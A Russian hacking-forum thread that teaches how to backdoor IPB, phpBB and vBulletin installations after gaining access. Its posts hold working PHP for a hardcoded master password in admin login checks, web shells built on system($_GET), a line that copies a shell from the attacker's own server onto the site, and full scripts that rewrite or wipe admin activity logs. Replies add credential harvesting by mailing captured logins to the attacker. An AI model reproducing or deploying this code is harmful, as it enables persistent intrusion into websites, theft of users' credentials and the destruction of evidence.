Форумы Бэкдорим форумы. Теория и практика!

Discussion in 'Уязвимости CMS/форумов' started by gemaglabin, 6 Sep 2006.

  1. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Очень часто после получения доступа к форумной части надо оставить лазейку для будущего контролирования админ-панелью.Можно добавить нового админа,можно изменить информацию старого,но есои целью является сохранить доступ то это не наш способ.Я рассмотрю возможность постановки бекдора в двух самых популярных форумных движков - IPB и в печально известнои phpBB.


    IPB

    Первое,что приходит на ум - открыть admin.php и найти кусок проверки кода введенного пароля.Находим строку

    PHP:
    require_once( ROOT_PATH."sources/action_admin/login.php" );
    Проверка корректности пароля происходит в файле login.php,находящемся в папке action_admin.Чтобы облегчить жизнь и не копать кучу кода в поисках нужного блока,пробуем зайти под аккаунтом администратора с заведомо ложным пассом.Получаем ошибку "The password you entered is not correct" и поиском находим место проверки пароля.

    PHP:
    if ( $this->ipsclass->converge->converge_authenticate_member$pass ) != TRUE )        
    {
     
    $this->login_form("The password you entered is not correct");
    }
    Ниже идет код,который в случае выполнения нужных условий,а именно - корректность пары логин\пароль и проверка прав у данного юзера.Если все отлично,выдается уникальная сессия и нас переадресовывают на главную страницу админ панели.Чуть выше блока проверки пароля я поместил данную конструкцию

    PHP:
    if (( $this->ipsclass->input['password']) == "antichat")

    {
    $sess_id md5uniqidmicrotime() ) );
    $db_string $this->ipsclass->DB->compile_db_insert_string( array (
                                                                                       
    'session_id'                => $sess_id,
                                                                                       
    'session_ip_address'        => $this->ipsclass->ip_address,
                                                                                       
    'session_member_name'       => $mem['name'],
                                                                                       
    'session_member_id'         => $mem['id'],
                                                                                       
    'session_member_login_key'  => $mem['member_login_key'],
                                                                                       
    'session_location'          => 'index',
                                                                                       
    'session_log_in_time'       => time(),
                                                                                       
    'session_running_time'      => time(),
                                                                             )        );
                                                              
    $this->ipsclass->DB->query("INSERT INTO ibf_admin_sessions (".$db_string['FIELD_NAMES'].") VALUES (".$db_string['FIELD_VALUES'].")");
    $this->ipsclass->input['adsess'] = $sess_id;
    $this->ipsclass->admin->redirect$this->ipsclass->vars['board_url']."/admin.".$this->ipsclass->vars['php_ext']."?adsess=".$this->ipsclass->input['adsess']."&".$extra_query'Log In Successful' );
    exit();
    }
    Пробуем ввести в связке логин существующего админа и пароль antichat - и мы попадаем в админ панель.

    но мы не ограничимся одним лишь бекдором в админке.В любом скрипте можно вставить подобный код

    PHP:
    system("$_GET[c];"); 
    При обращению к скрипту в качестве параметра "c" можно передавать различные команды на выполнение.

    phpBB

    В форумах вида phpBB все гораздо проще - логин и пароль проверяется в одном скрипте.

    В этом месте скрипт сравнивает правильность введенного пароля
    PHP:
    if( md5($password) == $row['user_password'] && $row['user_active'] )
    Меняем эту строчку на
    PHP:
    if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat"))
    Вводим пароль antichat и успешно логинимся в админ панель.Как и в случае с IPB можно в любом скрипте оставить шелл вида
    PHP:
    system("$_GET[c];"); 
    Желатенльно это сделать в таком месте,где будет не очень заметно при анализе логов.

    * Про то,как поднять права в различных форумах можно прочитать тут
     
    #1 gemaglabin, 6 Sep 2006
    Last edited: 6 Sep 2006
    10 people like this.
  2. SladerNon

    SladerNon Адам

    Joined:
    6 Mar 2005
    Messages:
    1,636
    Likes Received:
    936
    Reputations:
    355
    Живая тема :). Прикреплю. :)

    А почему бы не сделать,
    PHP:
    system("$_POST[c];"); 
    ?

    Менее удобно в юзанье, но проблемы с логами, после такого шелла - отпадают :)
     
    1 person likes this.
  3. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    файлы для троянизации различаються в каждой версии любого форума. Проверено.
     
  4. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Чистим логи в ipb и vbulletin

    Вообщем накатал два скрипта,могут поменять ip адреса в логах пребывания в админ панели или полность очистить таблицу.

    Возможно где-то еще хранятся айпи,я не в курсе,но по аналогии можно дописать

    Ах да,скрипты берут информацию для коннекта из конфигурационных файлов форума,те кидать надо в корень сервера.

    Invision Power Board

    PHP:
    <FORM NAME=check METHOD=POST ACTION='?change'>
    <TD>Change IP To</TD>
    <TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
    <TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
    </Form>
    <FORM NAME=check METHOD=POST ACTION='?clean'>
    <TD>Clean  Logs</TD>
    <TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
    </Form>
    <?php
    if (isset($_GET['change']) || isset($_GET['clean']))

     require_once(
    './conf_global.php');

     
    $dbtype  $INFO ['sql_driver']; 
     
    $dbname  $INFO ['sql_database'];
     
    $prefix  $INFO ['sql_tbl_prefix'];
     
    $server  $INFO ['sql_host'];
     
    $sqluser $INFO ['sql_user'];
     
    $sqlpass $INFO ['sql_pass'];

     
    $db      mysql_connect($server,$sqluser$sqlpass);
     if (!
    $db) die ("cannot connect to mysql host");
     
    mysql_SELECT_db($dbname);
     if (isset(
    $_POST['ip']) && !empty($_POST['ip']))
     { 
      
    $newip  $_POST['ip'];
      
    $sql    'UPDATE `'.$prefix.'admin_logs` SET `ip_address` = '.$newip;
      
    $result mysql_query ($sql) ;
      if (!
    $result) die("cannot execute sql query ".mysql_error());
      echo 
    "all ip addresses were updated to $newip";
     }
     if (isset(
    $_GET['clean']))
     {
      
    $sql     'TRUNCATE TABLE `'.$prefix.'admin_logs`';
      
    $result  mysql_query ($sql) ;
      if (!
    $result) die("cannot execute sql query ".mysql_error());
      echo 
    "all ip addresses were destroyed";
     }
    }
    ?>
    vBulletion Board

    PHP:
    <FORM NAME=check METHOD=POST ACTION='?change'>
    <TD>Change IP To</TD>
    <TD><INPUT NAME=ip TYPE=text CLASS=text Value=></TD>
    <TD WIDTH=10%><input class=text type=submit value='change ip'></TD>
    </Form>
    <FORM NAME=check METHOD=POST ACTION='?clean'>
    <TD>Clean  Logs</TD>
    <TD WIDTH=10%><input class=text type=submit value='clean logs'></TD>
    </Form>
    <?php
    if (isset($_GET['change']) || isset($_GET['clean']))

     require_once(
    './includes/config.php');

     
    $dbtype  $config['Database']['dbtype']; 
     
    $dbname  $config['Database']['dbname'];
     
    $prefix  $config['Database']['tableprefix'];
     
    $server  $config['MasterServer']['servername'];
     
    $port    $config['MasterServer']['port'];
     
    $sqluser $config['MasterServer']['username'];
     
    $sqlpass $config['MasterServer']['password'];

     
    $db      mysql_connect($server,$sqluser$sqlpass);
     if (!
    $db) die ("cannot connect to mysql host");
     
    mysql_SELECT_db($dbname);
     if (isset(
    $_POST['ip']) && !empty($_POST['ip']))
     { 
      
    $newip  $_POST['ip'];
      
    $sql    'UPDATE `adminlog` SET `ipaddress` = '.$newip;
      
    $result mysql_query ($sql) ;
      if (!
    $result) die("cannot execute sql query ".mysql_error());
      echo 
    "all ip addresses were updated to $newip";
     }
     if (isset(
    $_GET['clean']))
     {
      
    $sql     'TRUNCATE TABLE `adminlog`';
      
    $result mysql_query ($sql) ;
      if (!
    $result) die("cannot execute sql query ".mysql_error());
      echo 
    "all ip addresses were destroyed";
     }
    }
    ?>
    Ну или скачать = )

    http://www.mytempdir.com/915084
     
    4 people like this.
  5. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Как универсальный метод забекдоривания - в функциях проверки связки пасс - юзер вставить mail() с передачей этой самой связки на ваше мыло.
     
  6. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    на моем форуме при попытки взлома мне отсылаеться смс, со всеми данными =))
    Иногда даже очень помогает узнать, кто из своих пытаеться взломать форум.
     
    1 person likes this.
  7. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    лутьше не
    PHP:
    system("$_GET[c];"); 
    а
    PHP:
    system($_GET["c"]);
     
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Небольшое замечание:

    Порой в настройках PHP установлена директива disable_functions со значением "exec, system, passthru и т.п." тогда необходимо использовать eval т.к. всего можно добиться средствами PHP.
     
  9. Ascentio

    Ascentio New Member

    Joined:
    29 Oct 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    А если вот такой код:
    PHP:
    <script type="text/javascript">
    <!--
    function 
    process_form(the_form)
    {
        var 
    element_names = new Object()
            
    element_names["req_username"] = "Имя"
            
    element_names["req_password"] = "Пароль"

        
    if (document.all || document.getElementById)
        {
            for (
    0the_form.length; ++i)
            {
                var 
    elem the_form.elements[i]
                if (
    elem.name && elem.name.substring(04) == "req_")
                {
                    if (
    elem.type && (elem.type=="text" || elem.type=="textarea" || elem.type=="password" || elem.type=="file") && elem.value=='')
                    {
                        
    alert("\"" element_names[elem.name] + "\" это поле обязательно для заполнения в этой форме.")
                        
    elem.focus()
                        return 
    false
                    
    }
                }
            }
        }

        return 
    true
    }
    // -->
    </script>
    Что можно сделать?
     
    #9 Ascentio, 29 Oct 2006
    Last edited by a moderator: 22 Jan 2007
  10. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    Есть какой-нибудь аналог system("$_GET[c];"); в Перле? нужно затроянить форум на Перле, и не знаю че бы туда такого вставить.
     
  11. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    Добавлю от себя как я это обошел запихнул код что то типа этого
    Code:
    <?php copy($_GET['sh'],sh.'.php');?>
    т.е при заходе на
    _http://site.com/index.php?sh=http://ВАШ_СЕРВЕР.ru/ВАШ_ШЕЛЛ.php на серваке создается файл в нутрь которого копируется код вашего шелла.Запускаем наш шелл так _http://site.com/sh.php вот так можно обойти некоторые ограничения например safe mode ON
     
    1 person likes this.
  12. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    *************Внимание - Внимание*****************
    Уважаемые пользователи, стыд да срам. Впредь флуд в этой теме, а также в подобных темах, будет строго наказываться. Это первое и последнее предупреждение.
    *************Внимание - Внимание*****************

    *************Attention - Attention*****************
    Dear users, shame on you. Flood in this and similar themes will be strictly punished from now. It is last warning
    *************Attention - Attention*****************
     
    #12 _-[A.M.D]HiM@S-_, 22 Jan 2007
    Last edited by a moderator: 2 Mar 2007
  13. MegaDeth

    MegaDeth Elder - Старейшина

    Joined:
    8 Nov 2006
    Messages:
    192
    Likes Received:
    72
    Reputations:
    13
    PHP:
     if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) 
    замечу что в этом случае хоть блаблабла напиши пароль 0 подойдет потомучто не учитываються типы сравниваемых данных === надо. а скрипт от 19 подошел к 22, последней.
     
  14. DDA

    DDA Elder - Старейшина

    Joined:
    2 Jan 2007
    Messages:
    428
    Likes Received:
    375
    Reputations:
    13
    ладно - отправкой мыла разобрался

    теперь стоит вопрос такой

    все продолжают заходить на форум по кукам , а не вводя пароль
    поэтому мало паролей приходит

    Можно ли как нить в админке Ipb сбросить куки чтоб все заново ввели пароль и логин?
     
  15. Dimon_Aka_Sexxx

    Dimon_Aka_Sexxx New Member

    Joined:
    21 Jan 2007
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    форум булка 3.5.4
    чего то не получается залить шелл
    через добавление faq модуля
    модуль добавляю как написано в теме обзор уязвимостей булки.
    но чего то при запросах ни ls ни dir не выдаёт (
    непогу понять почему.
    форум не патченый ставили как есть .
     
  16. Ershik

    Ershik Elder - Старейшина

    Joined:
    7 Nov 2007
    Messages:
    301
    Likes Received:
    46
    Reputations:
    6
    Code:
    if (( md5($password) == $row['user_password'] && $row['user_active'] ) or ($password=="antichat")) 
    Светиться ли пользователей antichat в админке как администратор?
     
  17. ENFIX

    ENFIX Elder - Старейшина

    Joined:
    6 Jun 2006
    Messages:
    175
    Likes Received:
    122
    Reputations:
    75
    нет